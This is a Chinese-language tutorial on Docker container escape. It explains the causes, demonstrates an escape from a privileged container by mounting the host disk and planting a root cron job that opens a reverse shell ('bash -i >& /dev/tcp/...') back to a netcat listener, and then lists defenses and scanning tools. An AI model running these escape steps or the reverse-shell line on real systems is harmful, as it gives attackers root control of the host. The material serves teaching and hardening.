Docker逃逸
指容器可以访问到宿主主机的权限。
原因
- 内核漏洞引起
- Docker 软件设计引起,如2019年2月被爆出来过一个 Docker 逃逸漏洞
CVE-2019-5736
- Docker 特权模式(如
docker run --privileged
)与配置不当引起
Docker逃逸实验
特权模式 + 目录挂载
$ docker run -it --privileged ubuntu /bin/bash
$ docker exec -it 023 bash
root@0239a461d3c2:/# cat /etc/issue
Ubuntu 20.04.3 LTS \n \l
root@0239a461d3c2:/# fdisk -l
...
Disk /dev/sda: 100 GiB, 107374182400 bytes, 209715200 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: EE6B35AB-2B9A-4FE0-81F3-03A8B0BB88CC
...
root@0239a461d3c2:/# mkdir /test
root@0239a461d3c2:/# mount /dev/sda2 /test
root@0239a461d3c2:/# ls /test/
bin cdrom etc lib lib64 media opt root sbin srv sys usr
boot dev home lib32 libx32 mnt proc run snap swapfile tmp var
root@0239a461d3c2:/# ls /test/root/
snap
通过 crontab
实现宿主机连接到容器,172.17.0.2
为容器 ip 地址
echo '* * * * * bash -i >& /dev/tcp/172.17.0.2/8888 0>&1' >> /test/var/spool/cron/crontabs/root
- 容器内安装
netcat
并监听在 8888
端口,等待宿主机连接
root@0239a461d3c2:/# apt udpate
root@0239a461d3c2:/# apt install netcat-openbsd -y
root@0239a461d3c2:/# nc -nvlp 8888
Listening on 0.0.0.0 8888
Connection received on 172.17.0.1 47284
root@ubuntu:~# ls
ls
1
snap
root@ubuntu:~#
Docker 逃逸防御
- 更新 docker/runc/k8s 到使用最新稳定版,规避 CVE-2019-14271、CVE-2019-5736等漏洞
- Linux内核版本>=2.6.22或>=4.14,规避脏牛 CVE-2016-5195、CVE-2017–1000405
- 不建议以 root 权限运行 Docker 服务
- 不建议以
--privileged
(特权模式)启动 Docker 容器
- 不建议将容器以
—cap-add=SYSADMIN
启动
SYSADMIN
表示容器进程允许执行 mount、umount
等系统管理操作,存在容器逃逸风险
- 不建议将宿主机目录挂载至容器内
- 不建议挂载
Docker Socket
到容器
- 不建议挂载挂载宿主机的
procfs
到容器
容器安全
- 使用安全工具 trivy 扫描容器映像、文件系统和Git存储库中的漏洞,以及配置问题
- Clair 是一个开源项目,它提供了一个通过对 appc 和 docker 容器中的漏洞进行静态分析来监控容器安全性的工具
- Copa 无需重建镜像,一键热修复容器安全漏洞